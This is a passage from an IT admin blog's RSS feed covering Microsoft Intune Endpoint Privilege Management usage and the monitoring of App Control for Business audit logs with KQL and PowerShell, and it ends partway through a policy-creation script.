<p>An easy way to get the <code>file hash</code> of an executable is to use the <code>get-filehash</code> CMDlet.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-filehash</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.exe</span></span></code></pre>
</div><img src="\intune\suite\privilige_hash.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
And an easy way to get the `SignerCertificate`from an executable is to use the `Get-AuthenticodeSignature` CMDlet.
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-AuthenticodeSignature</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> .\notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.exe).SignerCertificate </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Export-Certificate</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Type CERT </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'.\notepad++.cer'</span></span></code></pre>
</div><img src="\intune\suite\privilige_cert.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
</div>
<ol start="6">
<li>If you now save the rule, you can either add more rules to your policy or click <code>Next</code>, add the assignments and create the policy.</li>
</ol>
<img src="\intune\suite\privilige_rules_config2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>To support Endpoint Privilege Management, allow the following hostnames on tcp <span style="color:crimson">port 443</span> through your firewall.<br>
For communication between clients and the cloud service:</p>
<ul>
<li><span style="color:crimson">*.dm.microsoft.com</span> - The use of a wildcard supports the cloud-service endpoints that are used for enrollment, check-in, and reporting, and which can change as the service scales.</li>
<li><span style="color:crimson">*.events.data.microsoft.com</span> - Used by Intune-managed devices to send optional reporting data to the Intune data collection endpoint.</li>
</ul>
<div class="warning custom-block github-alert"><p class="custom-block-title">WARNING</p>
<p>SSL Inspection is not supported on endpoints required for Endpoint Privilege Management.</p>
</div>
</div>
<h2 id="usage" tabindex="-1">⌨️ Usage <a class="header-anchor" href="#usage" aria-label="Permalink to &quot;:keyboard: Usage&quot;">&ZeroWidthSpace;</a></h2>
<p>
Following you will find the User- and Admin-Experince for the <span style="color:crimson">User confirmed</span>, <span style="color:crimson">Automatic</span> and <span style="color:crimson">Support approved</span> elevation types.
</p>
<p>
Like I explained in the <span style="color:crimson">Configuration</span> section above (<a href="https://michaelsendpoint.com/intune/intune_suite/endpoint_privilege_management.html#configuration">Link</a>), with Endpoint Privilege Management the <span style="color:crimson">EPM Microsoft Agent</span> gets installed on the endusers device. With that comes a new entry in the context menu.
<img src="\intune\suite\EPMTools.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
</p>
<hr>
<h3 id="user-confirmed" tabindex="-1">User confirmed <a class="header-anchor" href="#user-confirmed" aria-label="Permalink to &quot;User confirmed&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>For the <span style="color:crimson">User confirmed</span> elevation type, you do a right click on your chosen file and select the newly created <code>Run with elevated access</code> point.</li>
</ol>
<img src="\intune\suite\privilige_usage_context.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ol start="2">
<li>Next, based on your rule configuration, a Windows dialog will prompt you to provide a <span style="color:crimson">business justification</span>, complete a <span style="color:crimson">Windows authentication</span> or both.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\suite\privilige_usage_justification.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\suite\privilige_usage_credentials.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="3">
<li>Then the file will be started with elevated privileges.</li>
</ol>
<img src="\intune\suite\privilige_usage_notepad_admin.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you don't have permission to elevate the file, you'll see the following error message.
<img src="\intune\suite\privilige_usage_denied.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></p>
</div>
<hr>
<h3 id="automatic" tabindex="-1">Automatic <a class="header-anchor" href="#automatic" aria-label="Permalink to &quot;Automatic&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>For the <span style="color:crimson">Automatic</span> elevation type, you do a right click on your chosen file and select the <code>Run with elevated access</code> point.</li>
<li>The file will immediately open with elevated privileges, without requiring any additional user input or confirmation.</li>
</ol>
<hr>
<h3 id="support-approved" tabindex="-1">Support approved <a class="header-anchor" href="#support-approved" aria-label="Permalink to &quot;Support approved&quot;">&ZeroWidthSpace;</a></h3>
<p><u>User experience</u></p>
<ol>
<li>For the <span style="color:crimson">Support approved</span> elevation type, you do a right click on your chosen file and select the <code>Run with elevated access</code> point.</li>
<li>Next, a Windows dialog will prompt you to provide a <span style="color:crimson">business justification</span>.</li>
<li>You'll see a confirmation that your request was sent. Just close the window, you don't need to do anything else until you get a response.</li>
</ol>
<img src="\intune\suite\privilige_usage_support_sent.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p><u>Admin experience</u></p>
<ol>
<li>In the Intune admin portal, you can access the above mentioned <a href="https://michaelsendpoint.com/intune/intune_suite/endpoint_privilege_management.html#elevation-requests">Elevation requests</a> tab by navigating to <strong>Endpoint Security</strong> &rarr; <strong><a href="https://intune.microsoft.com/#view/Microsoft_Intune_Workflows/SecurityManagementMenu/~/epm" target="_blank" rel="noreferrer">Endpoint Privilege Management</a></strong>.
Here you can find the requested <span style="color:crimson">elevation requests</span>.</li>
</ol>
<img src="\intune\suite\privilige_usage_elevation_requests.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="2">
<li>When you select a request, a side panel opens displaying the request properties. This includes the requested file information, timestamp, compliance status, device name, username, and the submitted <span style="color:crimson">business justification</span>.</li>
</ol>
<img src="\intune\suite\privilige_usage_elevation_requests_properties.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>When you choose to approve the request, a pop-up window appears prompting you to enter your own <span style="color:crimson">business justification</span>.</li>
<li>Once approved, the user receives elevated access to the requested file for 24 hours.</li>
</ol>
<img src="\intune\suite\privilige_usage_elevation_requests_properties_approve.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>
You can create a <span style="color:crimson">reusable setting</span> with one click for a requested file directly from the user request by selecting the <code>Add to reusable settings</code> button in the request properties.
</p>
<p>
Additionally, if a user requests elevation for a file that doesn't have an existing rule, you can quickly create a new rule using the file details from the request window by selecting the <code>Create a rule with these file details</code> button.
<img src="\intune\suite\privilige_usage_elevation_requests_properties_newrule.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
</p>
</div>
<p><u>User experience</u></p>
<p>After the elevation request is approved or denied, the user will receive a Windows toast notification within a few minutes, informing them of the outcome.</p>
<img src="\intune\suite\privilige_usage_elevation_requests_approved.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="2">
<li>If you now start the app using the <code>Run with elevated access</code> option in the context menu, it will immediately launch with elevated privileges.</li>
</ol>
<img src="\intune\suite\privilige_usage_elevation_requests_access.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="warning custom-block github-alert"><p class="custom-block-title">WARNING</p>
<p>If you launch the app by double-clicking it as usual, it will run with standard permissions and not with elevated access.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Endpoint Privilege Management is a really useful tool for organisations trying to implement Zero Trust principles and enforce least privilege access without affecting user productivity. EPM lets you control exactly who can elevate their privileges, and it provides detailed reports and flexible approval workflows. This helps to reduce security risks associated with excessive permissions. It's an investment, obviously, either as part of the Intune Suite or as a standalone purchase, but the security, compliance and operational efficiency it brings make it a really compelling choice for modern endpoint management.</p>
<ul>
<li><strong>Endpoint Privilege Management (EPM) is a key enabler for organizations pursuing Zero Trust and least privilege strategies.</strong></li>
<li><strong>Granular control</strong> over privilege elevation ensures users get admin rights only when truly needed.</li>
<li><strong>Comprehensive reporting</strong> and audit trails support compliance and security monitoring.</li>
<li><strong>Flexible approval workflows</strong> including user confirmation and support approval balance security with productivity.</li>
<li><strong>Reusable settings</strong> and policy templates simplify ongoing management.</li>
<li><strong>Integration with Intune</strong> streamlines deployment and policy enforcement across your environment.</li>
<li><strong>Reduces risk</strong> by minimizing the attack surface associated with excessive permissions.</li>
<li><strong>Empowers IT</strong> to respond quickly to elevation requests without granting blanket admin access.</li>
<li><strong>Comes at a cost</strong> EPM is available as part of the Intune Suite or as a standalone purchase.</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monitor App Control for Business Audit Logs | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/monitor_appcontrol.html</link>
            <guid>https://michaelsendpoint.com/intune/monitor_appcontrol.html</guid>
            <pubDate>Sat, 31 May 2025 21:35:05 GMT</pubDate>
            <description><![CDATA[Learn how to monitor, export, and manage audit logs for App Control for Business policies in Microsoft Intune.]]></description>
            <content:encoded><![CDATA[<h1 id="monitoring-app-control-for-business-audit-logs" tabindex="-1">Monitoring App Control for Business Audit Logs <a class="header-anchor" href="#monitoring-app-control-for-business-audit-logs" aria-label="Permalink to &quot;Monitoring App Control for Business Audit Logs&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>In this article, we’ll dive into how to monitor and manage audit logs for App Control for Business policies in Microsoft Intune. App Control for Business is a handy tool that helps you lock down application security by deciding which apps can run on your managed Windows devices. By checking out audit logs, you can see how apps behave, spot any issues, and tweak your policies to fit your organization’s needs.</p>
<p>This guide walks you through everything from finding and exporting logs to creating and automating App Control policies using audit data. Whether you’re just getting started with App Control or looking to fine-tune your setup, this article has you covered with practical tips and resources.</p>
<h2 id="what-is-app-control-for-business" tabindex="-1">❓ What is App Control for Business? <a class="header-anchor" href="#what-is-app-control-for-business" aria-label="Permalink to &quot;:question: What is App Control for Business?&quot;">&ZeroWidthSpace;</a></h2>
<p>To help prevent undesired apps from running on your managed Windows devices, you can use Microsoft Intune App Control for Business policies.
Intune's App Control for Business policies are part of endpoint security and use the Windows ApplicationControl CSP to manage allowed apps on Windows devices.</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can find a Step-by-Step guide on how to implement App Control for Business in my article <a href="https://michaelsendpoint.com/intune/app_locker.html" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="how-to-montior-the-logs" tabindex="-1">🔍 How to Montior the Logs? <a class="header-anchor" href="#how-to-montior-the-logs" aria-label="Permalink to &quot;:mag: How to Montior the Logs?&quot;">&ZeroWidthSpace;</a></h2>
<p>You can find the App Control Events for <span style="color:crimson">binary</span> logs in the Event Viewer under:</p>
<p><code>Applications and Services Logs\Microsoft\Windows\CodeIntegrity\Operational</code></p>
<p>and you can find the App Control Events for <span style="color:crimson">Script and MSI</span> logs in the Event Viewer under:</p>
<p><code>Applications and Services Logs\Microsoft\Windows\AppLocker\MSI and Script</code></p>
<p>You can find a list of the relevant event IDs <a href="https://michaelsendpoint.com/intune/monitor_appcontrol.html#app-control-for-business-event-ids" target="_blank" rel="noreferrer">below</a>.</p>
<p>Alternatively you can get the events trough a <span style="color:crimson">Advanced Hunting</span> query:</p>
<div class="language-kql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">kql</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DeviceEvents</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">startswith</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "AppControlExecutableAudited"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp > </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">ago</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">30d</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">|</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">project</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> DeviceId,                               </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// the device ID where the audit block happened</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileName,                                        </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The audit blocked app's filename</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FolderPath,                                      </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The audit blocked app's system path without the FileName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessFileName,                       </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The file name of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessVersionInfoCompanyName,         </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The company name of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessVersionInfoOriginalFileName,    </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The original file name of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessVersionInfoProductName,         </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The product name of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessSHA256,                         </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The SHA256 flat hash of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Timestamp,                                       </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The event creation timestamp</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ReportId,                                        </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The report ID - randomly generated by MDE AH</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessVersionInfoProductVersion,      </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The product version of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">InitiatingProcessVersionInfoFileDescription,     </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// The file description of the parent process loading the executable</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AdditionalFields                                 </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// Additional fields contains FQBN for signed binaries, the CN of the leaf certificate, product name, original filename and version of the audited binary.</span></span></code></pre>
</div><div class="language-kql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">kql</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DeviceEvents</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">startswith</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "AppControlCodeIntegrity"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">   or</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">startswith</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "AppControlCIScriptBlocked"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">   or</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">startswith</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "AppControlCIScriptAudited"</span></span></code></pre>
</div><hr>
<h3 id="export-with-powershell" tabindex="-1">Export with PowerShell <a class="header-anchor" href="#export-with-powershell" aria-label="Permalink to &quot;Export with PowerShell&quot;">&ZeroWidthSpace;</a></h3>
<p>If you want to export the events using PowerShell, you can use a command like this:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This command filters the event logs for specific criteria.</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-WinEvent</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilterHashtable </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ LogName</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'*'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Id</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'3076'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; ProviderName</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Microsoft-Windows-CodeIntegrity'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span></code></pre>
</div><hr>
<h3 id="export-with-intune" tabindex="-1">Export with Intune <a class="header-anchor" href="#export-with-intune" aria-label="Permalink to &quot;Export with Intune&quot;">&ZeroWidthSpace;</a></h3>
<p>If you want to collect the events from your end users' computers, I have created a script that simplifies the process. This script can be deployed via Intune and automatically gathers all relevant events from the past 30 days. The collected logs are saved in the Intune Management Extensions log folder as XML.</p>
<p>You can run the script on your clients' computers by deploying it through Intune or executing it manually in an elevated PowerShell session.<br>
For Intune deployment, follow these steps:</p>
<ol>
<li>Navigate to the <strong>Microsoft Intune admin center</strong> -&gt; <strong>Devices</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/scripts" target="_blank" rel="noreferrer">Scripts and remediations -&gt; Platform scripts</a>.</li>
<li>Click <strong>Add</strong> and select <strong>Windows 10 and later</strong>.</li>
<li>Provide a <strong>Name</strong> and <strong>Description</strong> for the script.</li>
<li>Upload the script file and configure the required settings.</li>
</ol>
<img src="\intune_monitor_appcontrol\create_script.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="5">
<li>Assign the script to the desired groups and click <strong>Add</strong> to complete the deployment.</li>
</ol>
<p>For manual execution, download the script from the <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/6a6d5f7831d3d27e7befb9680ad02c6ad66d1f62/Intune/monitor_appcontrol/Get-AppControlEvent.ps1" target="_blank" rel="noreferrer">GitHub repository</a> and run it in an elevated PowerShell session on the target computer.</p>
<h2 id="create-an-app-control-for-business-policy-from-these-logs" tabindex="-1">📝 Create an App Control for Business policy from these logs <a class="header-anchor" href="#create-an-app-control-for-business-policy-from-these-logs" aria-label="Permalink to &quot;:pencil: Create an App Control for Business policy from these logs&quot;">&ZeroWidthSpace;</a></h2>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>It is recommended to use a standard base policy, such as the default Microsoft policy, to block most scenarios.<br>
Then, create a supplemental policy to define specific exclusions or blocks tailored to your requirements.</p>
<ul>
<li>Files allowed by either the base policy or the supplemental policy will run.</li>
</ul>
<p>If you plan to use two base policies, keep in mind that only applications allowed by both policies run without generating block events.</p>
</div>
<ol>
<li>Use the <code>New-CIPolicy</code> cmdlet to create a new App Control policy from your audit logs.
In this example, we’re using the <strong>FilePublisher</strong> rule level with fallback options like <strong>SignedVersion</strong>, <strong>FilePublisher</strong> and <strong>Hash</strong>.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-CIPolicy</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"C:\temp\Policy.xml"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Audit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Level FilePublisher </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Fallback SignedVersion</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePublisher</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Hash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserPEs </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MultiplePolicyFormat</span></span></code></pre>
</div><div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>When creating policies from audit events, think carefully about the file rule level you choose to trust.<br>
For more information about App Control rule levels, see <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create" target="_blank" rel="noreferrer">Understand App Control policy rules and file rules | Microsoft Learn</a>.</p>
</div>
<h3 id="automating-creating-app-control-policies-from-logs" tabindex="-1"><span style="color:crimson">Automating creating App Control policies from logs</span> <a class="header-anchor" href="#automating-creating-app-control-policies-from-logs" aria-label="Permalink to &quot;&lt;span style=&quot;color:crimson&quot;&gt;Automating creating App Control policies from logs&lt;/span&gt;&quot;">&ZeroWidthSpace;</a></h3>
<p>First, <strong>set up an audit App Control policy</strong> to start collecting events in your clients' event viewer.<br>
Need help? Check out this guide: <a href="https://michaelsendpoint.com/intune/app_locker.html#intune-endpoint-security" target="_blank" rel="noreferrer">App Control for Business | michaelsendpoint.com</a>.</p>
<p>Next, set up a <strong>KeyUser</strong> group in your environment. This group should include users who use all the apps, scripts, and resources your organization needs.<br>
By focusing on this group, you can keep things simple and avoid creating too many unnecessary exclusions across all managed devices, which could happen if you included everyone.</p>
<p>Finally, use Intune to push out a script that runs for your key user group.</p>
<ol>
<li>You can use the following script or download it directly from my <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/dcd733fc0920d02f4f450dfdf53f4326ac36d195/Intune/monitor_appcontrol/New-AppControlAuditPolicy.ps1" target="_blank" rel="noreferrer">GitHub repository</a> to push to your key users.<br>Be aware that the script needs an elevated powershell session.</li>
</ol>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Make sure to give the audit policy enough time to gather events before running this script.<br>
If an app, script, or resource hasn’t been used, it won’t show up in the event logs, and no exclusion will be added to the policy.<br>
Waiting around 30 to 60 days usually works well.</p>
</div>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Creating the audit policy in the Microsoft Intune Management Extension log folder.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># When running this command manually, it will print warnings for event logs that describe files that are no longer present on the system.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># There will be no exceptions added for files that are no longer on the system. </span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-CIPolicy</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">env:</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ProgramData</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\Microsoft\IntuneManagementExtension\Logs\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">env:</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">computername</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">_policy.xml"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Audit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Level FilePublisher </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Fallback SignedVersion</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePublisher</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Hash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserPEs </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MultiplePolicyFormat</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Convert the newly created base policy into a supplemental policy to use it alongside the default Microsoft base policy.</span></span>
